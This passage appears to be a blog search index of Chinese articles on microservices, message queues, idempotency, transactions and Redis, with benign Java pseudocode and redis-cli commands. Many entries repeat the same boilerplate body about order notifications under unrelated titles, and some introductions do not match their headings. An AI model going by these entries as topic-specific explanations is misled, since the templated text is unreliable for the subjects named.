class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="配置中心解决了什么问题"><a href="#配置中心解决了什么问题" class="headerlink" title="配置中心解决了什么问题"></a>配置中心解决了什么问题</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>限流熔断降级的区别和落地</title>
      <link href="//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/"/>
      <url>//xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/</url>
      
        <content type="html"><![CDATA[<h1 id="限流熔断降级的区别和落地"><a href="#限流熔断降级的区别和落地" class="headerlink" title="限流熔断降级的区别和落地"></a>限流熔断降级的区别和落地</h1><p>限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>限流：控制入口流量，保护系统不被压垮</p></li><li><p>熔断：快速失败，防止级联故障</p></li><li><p>降级：牺牲非核心功能，保障核心服务</p></li><li><p>常用的限流算法：令牌桶、漏桶、滑动窗口</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式事务为什么难</title>
      <link href="//fen-bu-shi-shi-wu-wei-shi-me-nan/"/>
      <url>//fen-bu-shi-shi-wu-wei-shi-me-nan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式事务为什么难"><a href="#分布式事务为什么难" class="headerlink" title="分布式事务为什么难"></a>分布式事务为什么难</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口幂等性设计从业务开始</title>
      <link href="//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/"/>
      <url>//jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="接口幂等性设计从业务开始"><a href="#接口幂等性设计从业务开始" class="headerlink" title="接口幂等性设计从业务开始"></a>接口幂等性设计从业务开始</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分布式 ID 生成方案怎么选</title>
      <link href="//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/"/>
      <url>//fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="分布式-ID-生成方案怎么选"><a href="#分布式-ID-生成方案怎么选" class="headerlink" title="分布式 ID 生成方案怎么选"></a>分布式 ID 生成方案怎么选</h1><p>分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 分布式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 分布式 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>延迟队列的业务场景和实现思路</title>
      <link href="//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/"/>
      <url>//yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="延迟队列的业务场景和实现思路"><a href="#延迟队列的业务场景和实现思路" class="headerlink" title="延迟队列的业务场景和实现思路"></a>延迟队列的业务场景和实现思路</h1><p>延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息丢失问题从生产到消费排查</title>
      <link href="//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/"/>
      <url>//xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="消息丢失问题从生产到消费排查"><a href="#消息丢失问题从生产到消费排查" class="headerlink" title="消息丢失问题从生产到消费排查"></a>消息丢失问题从生产到消费排查</h1><p>消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息重复消费如何保证幂等</title>
      <link href="//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/"/>
      <url>//xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/</url>
      
        <content type="html"><![CDATA[<h1 id="消息重复消费如何保证幂等"><a href="#消息重复消费如何保证幂等" class="headerlink" title="消息重复消费如何保证幂等"></a>消息重复消费如何保证幂等</h1><p>接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>消息队列为什么能削峰填谷</title>
      <link href="//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/"/>
      <url>//xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/</url>
      
        <content type="html"><![CDATA[<h1 id="消息队列为什么能削峰填谷"><a href="#消息队列为什么能削峰填谷" class="headerlink" title="消息队列为什么能削峰填谷"></a>消息队列为什么能削峰填谷</h1><p>消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>消息队列的核心价值：异步处理、解耦、削峰填谷</p></li><li><p>常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别</p></li><li><p>消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认</p></li><li><p>消息重复消费的处理：幂等性设计</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。</p>]]></content>
      
      
      <categories>
          
          <category> 消息队列 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 消息队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 大 key 和热 key 排查</title>
      <link href="//redis-da-key-he-re-key-pai-cha/"/>
      <url>//redis-da-key-he-re-key-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-大-key-和热-key-排查"><a href="#Redis-大-key-和热-key-排查" class="headerlink" title="Redis 大 key 和热 key 排查"></a>Redis 大 key 和热 key 排查</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化方案：RDB 与 AOF 选型指南</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化方案：RDB-与-AOF-选型指南"><a href="#Redis-持久化方案：RDB-与-AOF-选型指南" class="headerlink" title="Redis 持久化方案：RDB 与 AOF 选型指南"></a>Redis 持久化方案：RDB 与 AOF 选型指南</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="RDB-快照持久化"><a href="#RDB-快照持久化" class="headerlink" title="RDB 快照持久化"></a>RDB 快照持久化</h2><p>#</p><h2 id="工作原理"><a href="#工作原理" class="headerlink" title="工作原理"></a>工作原理</h2><p>RDB 是 Redis 默认的持久化方式，它会在指定时间间隔内生成数据集的快照。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 手动触发快照</span></span><br><span class="line">redis-cli SAVE  <span class="comment"># 阻塞式</span></span><br><span class="line">redis-cli BGSAVE  <span class="comment"># 非阻塞式，fork子进程执行</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置方式"><a href="#配置方式" class="headerlink" title="配置方式"></a>配置方式</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis.conf</span></span><br><span class="line"><span class="string">save</span> <span class="number">900</span> <span class="number">1</span>      <span class="comment"># 900秒内至少1个key变化</span></span><br><span class="line"><span class="string">save</span> <span class="number">300</span> <span class="number">10</span>     <span class="comment"># 300秒内至少10个key变化</span></span><br><span class="line"><span class="string">save</span> <span class="number">60</span> <span class="number">10000</span>   <span class="comment"># 60秒内至少10000个key变化</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="优缺点"><a href="#优缺点" class="headerlink" title="优缺点"></a>优缺点</h2><table><thead><tr><th>维度</th><th>优点</th><th>缺点</th></tr></thead><tbody><tr><td><strong>性能</strong></td><td>快照文件小，恢复速度快</td><td>可能丢失最近的数据</td></tr><tr><td><strong>资源占用</strong></td><td>对性能影响较小</td><td>fork 时可能阻塞</td></tr><tr><td><strong>数据完整性</strong></td><td>适合做备份</td><td>宕机时丢失部分数据</td></tr></tbody></table><h2 id="AOF-日志持久化"><a href="#AOF-日志持久化" class="headerlink" title="AOF 日志持久化"></a>AOF 日志持久化</h2><p>#</p><h2 id="工作原理-1"><a href="#工作原理-1" class="headerlink" title="工作原理"></a>工作原理</h2><p>AOF 记录每次写操作到日志文件，重启时通过重放日志恢复数据。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 